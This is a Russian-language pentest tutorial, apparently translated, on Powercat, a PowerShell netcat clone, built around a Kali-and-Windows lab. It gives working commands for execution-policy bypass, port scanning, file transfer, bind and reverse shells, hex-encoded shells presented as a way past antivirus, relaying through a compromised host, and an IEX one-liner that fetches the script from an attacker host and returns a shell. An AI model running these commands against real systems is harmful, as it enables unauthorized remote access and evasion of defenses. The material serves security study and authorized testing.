Powercat для пентестинга

Дата: 02.11.2021. Автор: Игорь Б. Категории: Статьи по информационной безопасности
Powercat для пентестинга

В этой статье пойдет речь о Powercat для тестирования на проникновение. Программа обладает большим количеством полезных функций и возможностей.

Введение

Powercat – это простая сетевая утилита, используемая для выполнения низкоуровневых сетевых коммуникационных операций. Этот инструмент представляет собой реализацию хорошо известного Netcat в Powershell. Многие специалисты знают, что традиционные антивирусы позволяют запускать Powercat. Установленный размер утилиты составляет всего 68 КБ. Портативность и независимость инструмента от платформы делают его незаменимым компонентом для специалистов ИБ.

Основные опции Powercat

Powercat имеет различные опции:

-lПрослушивать соединение
-cПодключиться к листенеру
-pПорт для подключения или прослушивания
-eВыполнить
-epВыполнить в Powershell
-gСоздать полезную нагрузку
-geСоздать закодированную полезную нагрузку
-dОтключиться
-iВвод данных

Настройка Powercat

«Powershell execution policy» – это функция безопасности в Windows, которая определяет, какие скрипты могут или не могут выполняться в системе, поэтому нужно обойти это ограничение. Это позволит пользователю запускать любые скрипты. После этого следует скачать Powercat с помощью «wget».


powershell -ep bypass
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
Powercat для пентестинга

Теперь, когда пользователь загрузил скрипт Powercat, он может импортировать его в текущий терминал Powershell, а затем ввести следующую команду:

Import-Module .\powercat.ps1
Powercat для пентестинга

Сканирование портов

Powercat оснащен функцией сканирования портов. Инструмент может сделать это, попытавшись установить TCP-соединение с определенными портами. Например, если пользователю нужно проверить, работает ли служба на порту 21, 22, 80, 443, он может сделать это с помощью команды:

(21,22,80,443) | % {powercat -c 192.168.1.150 -p $_ -t 1 -Verbose -d}

Следует обратить внимание на то, что пользователь добавил номер порта в качестве переменной списка. Режим клиента (флаг «-c») указывает клиента для сканирования. Как можно увидеть на скриншоте ниже, если порт был обнаружен открытым, Powercat успешно настраивает связь с помощью службы. Флаг для отключения («-d») указывает, что Powercat прервет связь с потоком, как только порт откроется. Следовательно, именно так можно обнаружить открытые порты с помощью Powercat.

Powercat для пентестинга

Передача файлов

Передача файлов в Powercat возможна путем ввода данных в поток данных и извлечения их на стороне клиента.

Следует создать текстовый файл под названием «notes.txt» в текущей папке. Здесь флаг ввода («-i») используется для ввода данных в поток. Его также можно использовать для перемещения файлов, объектов массива байтов или строк.

Сначала пользователь настроит листенер на стороне клиента. Для удобства он воспользуется Netcat в Linux. После настройки человек будет использовать Powercat для передачи текстового файла.

nc -lnvp 443 > notes.txt
powercat -c 192.168.1.3 -p 443 -i notes.txt
Powercat для пентестинга

Не столь важно, что было в «notes.txt» – файл был доставлен в пункт назначения. Файл был успешно передан после завершения соединения.

Powercat для пентестинга

Bind Shell

Bind Shell касается процесса, во время которого хакер может подключиться к открытому листенеру на целевой машине и взаимодействовать с ней. Чтобы продемонстрировать это, пользователь настроит листенер на цели с помощью Powercat, а затем подключится к нему. Есть два возможных сценария.

  • Netcat –> Powercat.

В данном примере хакером является Kali, а на Windows работает листенер.

Нападающий: Kali

Жертва: Windows

При идеальном сценарии хакер доставит код, который будет выполнен для открытия листенера. Это позволит ему установить связь с жертвой, подключившись к ее машине.

powercat -l -p 443 -e cmd
nc 192.168.1.145 443
Powercat для пентестинга

Таким образом, можно увидеть, что интерактивный сеанс теперь активен на компьютере хакера.

Powercat для пентестинга
  • Powercat –> Powercat. То же самое может быть сделано и между двумя скриптами Powercat. На листенере пользователь настраивает порт 9000, а хакер подключается к нему и доставляет исполняемый файл «cmd».

Листенер: Ignite (имя пользователя Windows)

Хакер: raj (имя пользователя Windows)

powercat -l -p 9000 -e cmd -v
powercat -c 192.168.1.145 -p 9000 -v
Powercat для пентестинга

Хакер успешно подключается к листенеру и запускает интерактивный сеанс. Личность была проверена с помощью «whoami».

Powercat для пентестинга

Reverse Shell

Reverse Shell касается процесса, во время которого на компьютере хакера запущен листенер, к которому подключается жертва, а затем сам хакер выполняет нужный ему код.

  • Netcat –> Powercat. В данном случае Kali (Netcat) – это машина хакера с листенером, работающим на порту 443. Windows, работающая под управлением Powercat, должна подключиться к нему.

Атакующий: Netcat (Kali)

Жертва: Ignite (имя пользователя Windows)

Чтобы получить желаемый результат, необходимо запустить Netcat в режиме листенера на компьютере хакера, а затем включить Powercat в Windows в режиме клиента для установления подключения.

nc -lvnp 443
powercat -c 192.168.1.3 -p 443 -e cmd.exe
Powercat для пентестинга

Как можно увидеть, как только жертва вводит команду Powershell, хакер получает интерактивный shell.

Powercat для пентестинга
  • Powercat –> Powercat. То же самое можно сделать и с двумя устройствами Windows.

Хакер: Ignite (имя пользователя Windows)

Жертва: raj (имя пользователя Windows)

Сначала нужно настроить листенер на порту 9000, а затем запустить Powercat в режиме клиента, чтобы подключиться к нему.

powercat -l -p 9000 -v
powercat -c 192.168.1.145 -p 9000 -e cmd -v
Powercat для пентестинга

Как можно увидеть, при подключении к этому листенеру был создан интерактивный shell.

Powercat для пентестинга

Конечно же, приведенная выше команда Powercat на стороне жертвы – это всего лишь симуляция того, как будет работать получение интерактивного shell посредством удаленного выполнения кода в реальной жизни.

Standalone shell

Эта опция будет полезной, когда скрипт может быть выполнен в системе. Она позволяет хакеру закодировать reverse shell в файле «.ps1» и дождаться выполнения скрипта.

Сценарий 1. Допустим, выполняется задача cron, которая задействует скрипт, имеющий доступ на запись. Можно скопировать и вставить следующую команду, чтобы получить reverse shell даже без доступа к выполнению команд Powershell.

powercat -c 192.168.1.3 -p 443 -e cmd.exe -g > shell.ps1
.\shell.ps1
Powercat для пентестинга

Следует убедиться, что листенер запущен. Пользователь использует Kali в качестве атакующей машины с применением Netcat.

nc -lnvp 443
Powercat для пентестинга

Как читатели могут увидеть, есть несколько способов получить интерактивный shell на целевой машине с помощью Netcat.

Encoded Shell

Чтобы обойти традиционные устройства безопасности, такие как антивирусные решения, можно закодировать shell, который человек использовал выше. В Powercat есть хорошая опция для кодирования команды в шестнадцатеричный массив. Таким образом, есть возможность обойти некоторые средства безопасности. Это делается с помощью команды:

powercat -c 192.168.1.3 -p 443 -e cmd.exe -ge > encodedshell.ps1
Powercat для пентестинга

Затем shell можно активировать с помощью опции «powershell —E», что позволяет выполнять закодированную строку.

powershell -E <string>

Затем строка кодируется значением сверху.

Powercat для пентестинга

Пользователь заранее настроил листенер на атакующей машине (Kali) и ждал соединения. Как можно увидеть, shell успешно выполняется.

Powercat для пентестинга

Туннелирование

Туннелирование – это эффективный механизм сохранения скрытности при выполнении операций Red Team или в реальных скриптах. Powershell и Powercat могут помочь с туннелированием и сокрытием личности в следующий раз, когда пользователь будет проводить оценку.

Есть три машины. Хакер связывается с машиной с двумя сетевыми картами и атакует машину, работающую в альтернативной подсети (192.168.146.0/24).

Powercat для пентестинга

Предположим, что злоумышленник уже имеет доступ к туннельной машине. Пользователь повторит скрипт с помощью команды «Enter-PSSession». Она позволяет получить интерактивный терминал Powershell туннеля с помощью учетных данных.

Enter-PSSession -ComputerName 192.168.1.45 -Credential raj
Powercat для пентестинга

После ввода учетных данных пользователь видит, что был создан интерактивный сеанс PowerShell.

Он запускает «ipconfig» как команду валидатора, однако есть интересное наблюдение. На этой машине были настроены две карты локальной сети, и был подключен еще один адаптер. Возможно, в этой подсети работают и другие компьютеры.

blank

Чтобы убедиться в этом, понадобится использовать Powercat в этой системе. Пользователь загружает его с помощью «wget».

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
ls
blank

Однако прежде чем запустить этот скрипт, нужно снова изменить политику выполнения. Кроме того, после небольшого анализа пользователь обнаружил, что 192.168.146.129 был жив и даже отвечал ему. Следует просканировать эту систему с помощью Powercat.

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Import-Module .\powercat.ps1
(21, 22, 80, 443) | % { Powercat -c 192.168.146.129 -p $_ -t 1 -Verbose -d}

Как можно увидеть, были открыты три порта: 21, 22, 80.

blank

Теперь, если пользователь настроит ретранслятор трафика, система хакера сможет обмениваться данными и подключаться по SSH к машине жертвы (192.168.146.129).

Человек будет использовать Powercat для настройки ретранслятора трафика:

powercat -l -p 9090 -r tcp:192.168.146.129:22 -v
blank

TCP-трафик с порта 22 (192.168.146.129) теперь ретранслируется 192.168.146.128 (туннель) на порту 9090. Таким образом, из внешней системы пользователь использует PuTTY для подключения к порту 9090 туннельной машины, что соединяет его с машиной жертвы.

blank

Вот так просто пользователь завершил туннелирование и получил доступ машине жертвы.

blank

Можно также использовать Powercat для настройки ретрансляции на порту 80, через который пользователь сможет получить доступ к веб-сайту, работающему на базе машины жертвы.

powercat -l -p 9090 -r tcp:192.168.146.129:80 -v
blank

Powercat One Liner

Powercat Reverse Shell также существует как однострочная команда. Предположим, что пользователю доступно выполнение кода на машине жертвы, он может использовать однострочный shell от Powercat, чтобы вернуть reverse shell на листенер, запущенный на машине хакера. Для этого процесса нужно загрузить Powercat в отдельную папку и запустить веб-сервер.

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
python -m SimpleHTTPServer 80
blank

Пользователь немедленно настраивает листенер на порту 4444 на машине хакера (Kali). Тем временем у него есть выполнение кода на целевом объекте, поэтому он будет использовать следующий shell от Powercat:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.3/powercat.ps1');powercat -c 192.168.1.3 -p 4444 -e cmd"
blank

Как только человек нажимает на клавишу «Enter», он получает reverse shell для листенера, работающего в Kali.

blank

Автор переведенной статьи: Harshit Rajpal.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *